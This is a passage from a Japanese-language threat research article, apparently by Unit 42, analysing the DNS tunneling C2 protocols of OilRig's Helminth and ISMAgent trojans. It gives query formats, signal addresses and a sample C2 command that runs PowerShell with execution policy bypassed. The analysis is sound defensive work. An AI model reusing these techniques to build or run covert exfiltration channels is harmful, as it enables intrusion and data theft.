domain&gt;<\/span><\/p>\n<p>C2\u30b5\u30fc\u30d0\u30fc\u306f\u3001IPv4\u30a2\u30c9\u30ec\u30b9\u306e\u63d0\u4f9b\u3092\u958b\u59cb\u3057\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u305d\u306eIPv4\u30a2\u30c9\u30ec\u30b9\u306e\u5404\u30aa\u30af\u30c6\u30c3\u30c8\u3092\u30d0\u30a4\u30ca\u30ea\u30c7\u30fc\u30bf\u306e10\u9032\u8868\u73fe\u3068\u3057\u3066\u6271\u3044\u307e\u3059\u3002\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001C2\u304cDNS\u306e\u30ec\u30b9\u30dd\u30f3\u30b9\u3068\u3057\u3066\"35.35.35[.]35\"\u3068\u3044\u3046IPv4\u30a2\u30c9\u30ec\u30b9\u3092\u63d0\u4f9b\u3059\u308b\u307e\u3067\u5404\u30d0\u30a4\u30c8\u3092\u30d0\u30c3\u30c1\u30d5\u30a1\u30a4\u30eb\u306b\u66f8\u304d\u8fbc\u307f\u7d9a\u3051\u307e\u3059\u3002\u305d\u3057\u3066\"35.35.35[.]35\"\u3068\u3044\u3046\u30ec\u30b9\u30dd\u30f3\u30b9\u3092\u53d7\u3051\u53d6\u308b\u3068\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u30d5\u30a1\u30a4\u30eb\u3078\u306e\u30c7\u30fc\u30bf\u306e\u66f8\u304d\u8fbc\u307f\u3092\u505c\u6b62\u3057\u3001\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8\u3068\u3057\u3066\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n<p>\u56f37\u306f\u3001\u30d5\u30a1\u30a4\u30eb\"aa.bat\"\u3092\u4f5c\u6210\u3059\u308b\u3088\u3046\u306b\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u6307\u793a\u3059\u308b\"33.33.97[.]97\"\u3068\u3044\u3046IPv4\u30a2\u30c9\u30ec\u30b9\u3092\u63d0\u4f9b\u3059\u308bC2\u30b5\u30fc\u30d0\u30fc\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u6b21\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u306f\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u3092\u5897\u52a0\u3055\u305b\u3066(1\u30012\u30013\u306e\u5834\u5408\u306f\"31\"\u3001\"32\"\u3001\"33\")DNS\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u3001\u305d\u308c\u306b\u5bfe\u3057C2\u304c2\u3064\u306eIPv4\u30a2\u30c9\u30ec\u30b9\u3067\u5fdc\u7b54\u3057\u3066\u3001\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u3066\u3044\u308b\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u3053\u3067\u306f\"119.104.111[.]97\"\u3068\"109.105.32[.]32\"\u3068\u3044\u3046\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3059\u308b\u3053\u3068\u3067\u6587\u5b57\u5217 \"whoami\"\u3092\u9001\u4fe1\u3057\u3001\u305d\u306e\u5f8c\u306b\u7d9a\u3051\u3066 \"35.35.35[.]35\"\u3068\u3044\u3046\u30a2\u30c9\u30ec\u30b9\u3092\u9001\u4fe1\u3057\u3066\u30c7\u30fc\u30bf\u9001\u4fe1\u3092\u7d42\u4e86\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><figure id=\"attachment_101467\" aria-describedby=\"caption-attachment-101467\" style=\"width: 977px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101467 size-full lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-214.png\" alt=\"\u56f37\u30c7\u30fc\u30bf\u8ee2\u9001\u3092\u505c\u6b62\u3059\u308b\u305f\u3081\u306bIPv4 35.35.35[.]35\u3092\u53d7\u4fe1\u3059\u308b\u307e\u3067\u3001C2\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u306e\u30c7\u30fc\u30bf\u3092\u8981\u6c42\u3059\u308bHelminth\" width=\"977\" height=\"114\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-214.png 977w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-214-300x35.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-214-768x90.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-214-900x105.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-214-370x43.png 370w\" sizes=\"(max-width: 977px) 100vw, 977px\" \/><figcaption id=\"caption-attachment-101467\" class=\"wp-caption-text\">\u56f37\u30c7\u30fc\u30bf\u8ee2\u9001\u3092\u505c\u6b62\u3059\u308b\u305f\u3081\u306bIPv4 35.35.35[.]35\u3092\u53d7\u4fe1\u3059\u308b\u307e\u3067\u3001C2\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u306e\u30c7\u30fc\u30bf\u3092\u8981\u6c42\u3059\u308bHelminth<\/figcaption><\/figure>\"35.35.35[.]35\"\u3068\u3044\u3046\u30a2\u30c9\u30ec\u30b9\u3092\u53d7\u3051\u53d6\u308b\u3068\u3001Helminth\u306f\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305f\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u5b9f\u884c\u3057\u3001\u305d\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u51fa\u529b\u3092\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8\u3068\u540c\u30582\u6587\u5b57\u306e\u540d\u524d\u306e\u30c6\u30ad\u30b9\u30c8\u30d5\u30a1\u30a4\u30eb\u306b\u4fdd\u5b58\u3057\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001\u4e0a\u8a18\u306e\u4f8b\u3067\u306f\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f \"aa.bat\"\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u51fa\u529b\u3092 \"aa.txt\"\u306b\u4fdd\u5b58\u3057\u307e\u3059\u3002\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\u6b21\u306e\u69cb\u9020\u3092\u6301\u3064\u4e00\u9023\u306eDNS\u30af\u30a8\u30ea\u3092\u4ecb\u3057\u3066\u3053\u306e\u30c6\u30ad\u30b9\u30c8\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3092C2\u30b5\u30fc\u30d0\u306b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">00&lt;system identifier&gt;&lt;characters for filename&gt;&lt;sequence number&gt;&lt;base 36 encoded random number less than 46655&gt;&lt;up to 48 characters for a maximum of 24-bytes of hexlified data&gt;.&lt;c2 domain&gt;<\/span><\/p>\n<p>\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u30c6\u30ad\u30b9\u30c8\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u309224\u30d0\u30a4\u30c8\u306e\u30c1\u30e3\u30f3\u30af\u306b\u5206\u5272\u3057\u3001\u5404\u30d0\u30a4\u30c8\u3092\u305d\u306e16\u9032\u8868\u73fe\u306b\u5909\u63db\u3057\u307e\u3059\u3002Helminth\u306f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u306e\u3053\u308c\u3089\u306e\u30d0\u30a4\u30c8\u306e16\u9032\u8868\u73fe\u3092\u542b\u3081\u3001\u30c7\u30fc\u30bf\u3092C2\u30b5\u30fc\u30d0\u306b\u9001\u4fe1\u3059\u308b\u305f\u3081\u306bDNS\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u307e\u3059\u3002\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u300124\u30d0\u30a4\u30c8\u306e\u30c1\u30e3\u30f3\u30af\u3059\u3079\u3066\u304cC2\u306b\u9001\u4fe1\u3055\u308c\u308b\u307e\u3067\u3053\u306e\u30d7\u30ed\u30bb\u30b9\u3092\u7d9a\u3051\u307e\u3059\u3002\u5404\u30af\u30a8\u30ea\u306b\u306f\u3001\u5897\u52a0\u3059\u308b\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u304c\u542b\u307e\u308c\u307e\u3059\u3002Helminth\u306f\u3001\u3053\u308c\u3089\u306e\u30af\u30a8\u30ea\u3078\u306eC2\u30b5\u30fc\u30d0\u304b\u3089\u306e\u306e\u30ec\u30b9\u30dd\u30f3\u30b9\u306b\u5bfe\u3057\u3066\u306f\u4f55\u3082\u3057\u307e\u305b\u3093\u3002\u3053\u308c\u306fDNS\u30b5\u30fc\u30d0\u5074\u304b\u3089\u306a\u3093\u3089\u304b\u306e\u30ec\u30b9\u30dd\u30f3\u30b9\u304c\u8fd4\u3063\u3066\u304d\u3055\u3048\u3059\u308c\u3070\u3088\u3044\u305f\u3081\u3067\u3059\u3002\u56f38\u306f\u3001Helminth\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8(\"whoami\"\u30b3\u30de\u30f3\u30c9)\u306e\u7d50\u679c\u3092\u542b\u3080\u30c6\u30ad\u30b9\u30c8\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3092C2\u30b5\u30fc\u30d0\u30fc\u306b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3057\u3066\u30015\u3064\u306e\u4e00\u9023\u306eDNS\u30af\u30a8\u30ea\u3092\u5b9f\u884c\u3057\u3066\u3044\u308b\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101469\" aria-describedby=\"caption-attachment-101469\" style=\"width: 985px\" class=\"wp-caption alignnone\"><img  class=\"wp-image-101469 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-215.png\" alt=\"\u56f38 Helminth\u304c\u30af\u30a8\u30ea\u5bfe\u8c61\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306b\u30b3\u30de\u30f3\u30c9\u306e\u7d50\u679c\u3092\u542b\u3081\u3066\u9001\u4fe1\u3057\u3066\u3044\u308b\u3068\u3053\u308d\" width=\"985\" height=\"162\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-215.png 985w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-215-300x49.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-215-768x126.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-215-900x148.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-215-370x61.png 370w\" sizes=\"(max-width: 985px) 100vw, 985px\" \/><figcaption id=\"caption-attachment-101469\" class=\"wp-caption-text\">\u56f38 Helminth\u304c\u30af\u30a8\u30ea\u5bfe\u8c61\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306b\u30b3\u30de\u30f3\u30c9\u306e\u7d50\u679c\u3092\u542b\u3081\u3066\u9001\u4fe1\u3057\u3066\u3044\u308b\u3068\u3053\u308d<\/figcaption><\/figure>\n<h2>ISMAgent<\/h2>\n<p>OilRig\u306fISMAgent\u30c4\u30fc\u30eb\u3092\u6a19\u7684\u578b\u653b\u6483\u306b\u4f7f\u7528\u3057\u3066\u304d\u307e\u3057\u305f\u3002\u305d\u306e\u3046\u3061\u306e1\u3064\u306b\u3064\u3044\u3066\u306f<a href=\"https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group\/\">OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group(\u82f1\u8a9e)<\/a>\u3067\u8ad6\u3058\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30c4\u30fc\u30eb\u304cOilRig\u306b\u3088\u3063\u3066\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u304c\u5206\u304b\u3063\u305f\u306e\u306f\u8208\u5473\u6df1\u3044\u3053\u3068\u3067\u3059\u3002\u3068\u3044\u3046\u306e\u3082\u3001ISMAgent\u306f\u3001Greenbug\u3068\u3044\u3046\u5225\u306e\u653b\u6483\u30b0\u30eb\u30fc\u30d7\u306b\u30ea\u30f3\u30af\u3055\u308c\u3066\u3044\u308bISMDoor\u3068\u3044\u3046\u5225\u306e\u30c4\u30fc\u30eb\u3068\u975e\u5e38\u306b\u3088\u304f\u4f3c\u305fDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u304b\u3089\u3067\u3059\u3002ISMDoor\u306e\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u306b\u3064\u3044\u3066\u306f<a href=\"https:\/\/www.netscout.com\/blog\/asert\/greenbugs-dns-isms\">\u3053\u3061\u3089\u3067<\/a>\u3059\u3067\u306b\u8aac\u660e\u6e08\u307f\u306a\u306e\u3067\u3001\u3053\u3053\u3067\u306fISMAgent\u306eDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u306b\u7126\u70b9\u3092\u7d5e\u3063\u3066\u8aac\u660e\u3057\u307e\u3059\u3002<\/p>\n<p>ISMAgent\u306fDnsQuery_A API\u95a2\u6570\u3092\u4f7f\u3063\u3066DNS AAAA\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u767a\u884c\u3057\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u653b\u6483\u8005\u304c\u6240\u6709\u3059\u308b\u30c9\u30e1\u30a4\u30f3\u306e\u30ab\u30b9\u30bf\u30e0\u7d30\u5de5\u3055\u308c\u305f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3057\u3001OilRig\u3068\u306e\u30c7\u30fc\u30bf\u9001\u4fe1\u3001\u30b3\u30de\u30f3\u30c9\u53d7\u4fe1\u3092\u884c\u3063\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001CoCreateGuid API\u95a2\u6570\u3092\u547c\u3073\u51fa\u3057\u3066\u751f\u6210\u3055\u308c\u305f\u4e00\u610f\u306e\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u542b\u3080\u30d3\u30fc\u30b3\u30f3\u3092\u767a\u884c\u3057\u3001\u305d\u3053\u304b\u3089\u30cf\u30a4\u30d5\u30f3\u3092\u524a\u9664\u3057\u305f\u7d50\u679c\u306eGUID\u3092\u4f7f\u7528\u3057\u3066\u30c7\u30fc\u30bf\u8ee2\u9001\u3092\u958b\u59cb\u3057\u307e\u3059\u3002\u6b21\u306b\u3001ISMAgent\u306f\u3001\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u3067\u4ee5\u4e0b\u306e\u69cb\u9020\u3092\u3082\u3064\u3053\u306e\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3067\u540d\u524d\u89e3\u6c7a\u3092\u8a66\u307f\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">n.n.c.&lt;GUID used for session ID&gt;.&lt;c2 domain&gt;<\/span><\/p>\n<p>ISMAgent\u306fAAAA\u30af\u30a8\u30ea\u3092\u5b9f\u884c\u3057\u3066\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3057\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001C2\u306b\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u4e8b\u5b9f\u4e0a\u901a\u77e5\u3055\u308c\u307e\u3059\u3002C2\u304c\u52d5\u4f5c\u3057\u3066\u3044\u308c\u3070\u3001C2\u306f\u300c\u30d3\u30fc\u30b3\u30f3\u3092\u53d7\u4fe1\u3057\u3001ISMAgent\u304c\u9001\u4fe1\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u308b\u30c7\u30fc\u30bf\u3092\u51e6\u7406\u3059\u308b\u6e96\u5099\u304c\u3067\u304d\u305f\u300d\u3068\u4f1d\u3048\u308b\u305f\u3081\u306b\u3001IPv6\u30a2\u30c9\u30ec\u30b9 'a67d:0db8:a2a1:7334:7654:4325:0370:2aa3'\u3067\u3053\u306e\u30d3\u30fc\u30b3\u30f3\u306b\u5fdc\u7b54\u3057\u307e\u3059\u3002\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001C2\u30b5\u30fc\u30d0\u30fc\u304b\u3089IPv6\u306e\u78ba\u8a8d\u5fdc\u7b54\u3092\u53d7\u3051\u53d6\u3063\u305f\u5f8c\u3001\u6b21\u306e\u69cb\u9020\u3092\u6301\u3064\u6587\u5b57\u5217\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">http:\/\/&lt;IP of C2 domain&gt;\/action2\/&lt;base64 encoded computername\\username&gt;||<\/span><\/p>\n<p>ISMAgent\u306f\u4e0a\u8a18\u306e\u6587\u5b57\u5217\u3092base64\u30a8\u30f3\u30b3\u30fc\u30c9\u3057(\"=\"\u3001 \"\/\"\u3001 \"+\"\u3092\u305d\u308c\u305e\u308c\"-\"\u3001 \"-s-\"\u3001 \"-p-\"\u306b\u5909\u63db)\u3001\u30a8\u30f3\u30b3\u30fc\u30c9\u3057\u305f\u30c7\u30fc\u30bf\u3092\u4ee5\u4e0b\u306e\u69cb\u9020\u3092\u6301\u3064\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3059\u308b\u4e00\u9023\u306eDNS\u30af\u30a8\u30ea\u3068\u3057\u3066C2\u306b\u9023\u7d9a\u3057\u3066\u9001\u4fe1\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">&lt;up to 13 characters of base64 encoded data&gt;.&lt;iterating sequence number&gt;.d.&lt;GUID used for session ID&gt;.&lt;c2 domain&gt;<\/span><\/p>\n<p>C2\u306f\u3001\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u305f\"a67d:0db8:85a3:4325:7654:8a2a:0370:7334\" \u3067\u5fdc\u7b54\u3057\u3001\u30c7\u30fc\u30bf\u3092\u53d7\u4fe1\u3057\u305f\u3053\u3068\u3092\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u4f1d\u3048\u3001\u30c7\u30fc\u30bf\u306e\u9001\u4fe1\u3092\u7d9a\u3051\u308b\u3088\u3046\u6307\u793a\u3057\u307e\u3059\u3002\u3059\u3079\u3066\u306e\u30c7\u30fc\u30bf\u3092C2\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3057\u7d42\u308f\u308b\u3068\u3001ISMAgent\u306f\u6b21\u306e\u69cb\u9020\u3092\u6301\u3064\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3059\u308b\u305f\u3081\u306e\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u3066\u3001\u30c7\u30fc\u30bf\u306e\u9001\u4fe1\u304c\u5b8c\u4e86\u3057\u305f\u3053\u3068\u3092C2\u30b5\u30fc\u30d0\u30fc\u306b\u901a\u77e5\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">n.&lt;number of queries issued to send data&gt;.f.&lt;GUID used for session ID&gt;.&lt;c2 domain&gt;<\/span><\/p>\n<p>\u56f39\u306f\u3001ISMAgent\u30d3\u30fc\u30b3\u30f3\u3068\u5f8c\u306b\u3064\u3065\u304f\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u3088\u308bC2\u30b5\u30fc\u30d0\u30fc\u3078\u306e\u30c7\u30fc\u30bf\u9001\u4fe1\u306e\u69d8\u5b50\u3092Wireshark\u4e0a\u3067\u8868\u793a\u3057\u305f\u3082\u306e\u3067\u3059\u3002\u56f39\u306f\u307e\u305f\u3001C2\u304c\u30af\u30a8\u30ea\u306b\u5bfe\u3059\u308b\u30ec\u30b9\u30dd\u30f3\u30b9\u3068\u3057\u3066\u3001\u7279\u5b9a\u306eIPv6\u30a2\u30c9\u30ec\u30b9\u3092\u4f7f\u3046\u69d8\u5b50\u3082\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u7279\u5b9a\u306eIPv6\u30a2\u30c9\u30ec\u30b9\u306fACK\u306e\u610f\u5473\u3067\u4f7f\u7528\u3055\u308c\u308b\u3082\u306e\u3067\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u30c7\u30fc\u30bf\u306e\u9001\u4fe1\u3092\u7d99\u7d9a\u3059\u308b\u3088\u3046\u306b\u6307\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u6700\u5f8c\u306b\u3001\u6b21\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u306f\u3001\u6700\u5f8c\u306eDNS\u30af\u30a8\u30ea\u306b\u7b54\u3048\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u308b3\u756a\u76ee\u306eIPv6\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306fC2\u304b\u3089\u30c7\u30fc\u30bf\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u305f\u3081\u306b\u767a\u884c\u3059\u3079\u304dDNS\u30ea\u30af\u30a8\u30b9\u30c8\u6570\u3092\u3053\u306eIPv6\u304b\u3089\u5224\u65ad\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101471\" aria-describedby=\"caption-attachment-101471\" style=\"width: 977px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101471 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-216.png\" alt=\"\u56f39 ISMAgent\u306f\u6700\u521d\u306e\u30d3\u30fc\u30b3\u30f3\u306e\u5f8c\u3001\u7d9a\u3051\u3066\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u3067\u30b7\u30b9\u30c6\u30e0\u30c7\u30fc\u30bf&quot;action2&quot;\u3092\u9001\u4fe1\u3057\u3066\u3044\u308b\" width=\"977\" height=\"320\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-216.png 977w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-216-300x98.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-216-768x252.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-216-900x295.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-216-370x121.png 370w\" sizes=\"(max-width: 977px) 100vw, 977px\" \/><figcaption id=\"caption-attachment-101471\" class=\"wp-caption-text\">\u56f39 ISMAgent\u306f\u6700\u521d\u306e\u30d3\u30fc\u30b3\u30f3\u306e\u5f8c\u3001\u7d9a\u3051\u3066\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u3067\u30b7\u30b9\u30c6\u30e0\u30c7\u30fc\u30bf\"action2\"\u3092\u9001\u4fe1\u3057\u3066\u3044\u308b<\/figcaption><\/figure>\n<p>\u56f39\u306f\u3001ISMAgent\u304c\u30c7\u30fc\u30bf\u8ee2\u9001\u306e\u5b8c\u4e86\u3092\u793a\u3059\u305f\u3081\u306b\u767a\u884c\u3057\u305f\u30af\u30a8\u30ea\u306b\u5bfe\u3059\u308b\u30ec\u30b9\u30dd\u30f3\u30b9\u3068\u3057\u3066\u3001IPv6\u30a2\u30c9\u30ec\u30b9\u3092\u63d0\u4f9b\u3059\u308bC2\u30b5\u30fc\u30d0\u30fc\u306e\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002ISMAgent\u306f\u3053\u306eIPv6\u3092\u89e3\u6790\u3057\u3066\"a67d:0db8:85a3:4325:7654\"\u3067\u59cb\u307e\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3057\u3001\u6700\u5f8c\u306e2\u3064\u306e16\u9032\u6570\u3092\u3001C2\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u30c7\u30fc\u30bf\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u305f\u3081\u306b\u767a\u884c\u3059\u308b\u5fc5\u8981\u304c\u3042\u308bDNS\u30af\u30a8\u30ea\u6570\u3068\u3057\u3066\u4f7f\u7528\u3057\u307e\u3059\u3002\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\u6b21\u306e\u69cb\u9020\u3092\u6301\u3064\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3059\u308b\u305f\u3081\u306e\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u3001\u30ec\u30b9\u30dd\u30f3\u30b9\u306b\u542b\u307e\u308c\u308bIPv6\u30a2\u30c9\u30ec\u30b9\u3092\u30c7\u30fc\u30bf\u3068\u3057\u3066\u6271\u3044\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">www.&lt;sequence number [0:count from C2 server-1]&gt;.r.&lt;GUID used for session ID&gt;.&lt;c2 domain&gt;<\/span><\/p>\n<p>\u56f310\u306f\u3001\"a67d:0db8:85a3:4325:7654\" \u3067\u59cb\u307e\u308a11\u3067\u7d42\u308f\u308bIPv6\u30a2\u30c9\u30ec\u30b9\u3092\u6301\u3064\u30af\u30a8\u30ea\u306b\u5fdc\u7b54\u3059\u308bC2\u30b5\u30fc\u30d0\u30fc\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u3053\u3067\u306f\u3001ISMAgent\u306b11\u56deDNS\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u3066\u30c7\u30fc\u30bf\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u3088\u3046\u306b\u6307\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u6b21\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u306f\u3001ISMAgent\u304c11\u56deDNS\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u767a\u884c\u3057\u3001C2\u30b5\u30fc\u30d0\u30fc\u304c\u6b21\u306e\u3088\u3046\u306b\u69cb\u6210\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3067\u5fdc\u7b54\u3059\u308b\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">&lt;GUID used as a unique system identifier&gt;#command#&lt;URL to download a file&gt;#&lt;command to run with cmd.exe&gt;#&lt;file to upload to c2&gt;#<\/span><\/p>\n<p>\u56f310\u3067\u306f\u3001C2\u304cIPv6\u30a2\u30c9\u30ec\u30b9\u3092\u63d0\u4f9b\u3057\u3066\u4ee5\u4e0b\u306e\u30c7\u30fc\u30bf\u3092ISMAgent\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u9001\u4fe1\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308aPowerShell\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u5b9f\u884c\u3055\u308c\u3001\u30d5\u30a1\u30a4\u30eb \"C:\\Users\\Public\\file.txt\"\u306b\u30c6\u30ad\u30b9\u30c8\u304c\u66f8\u304d\u8fbc\u307e\u308c\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">2983b983-0acd-42db-9d86-0b096af5f369#command##powershell.exe -executionpolicy bypass \\\"$s = 'Text written to file.txt';$s | set-content 'c:\\\\Users\\\\Public\\\\file.txt'\\\"#<\/span><\/p>\n<figure id=\"attachment_101473\" aria-describedby=\"caption-attachment-101473\" style=\"width: 977px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101473 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-217.png\" alt=\"\u56f310 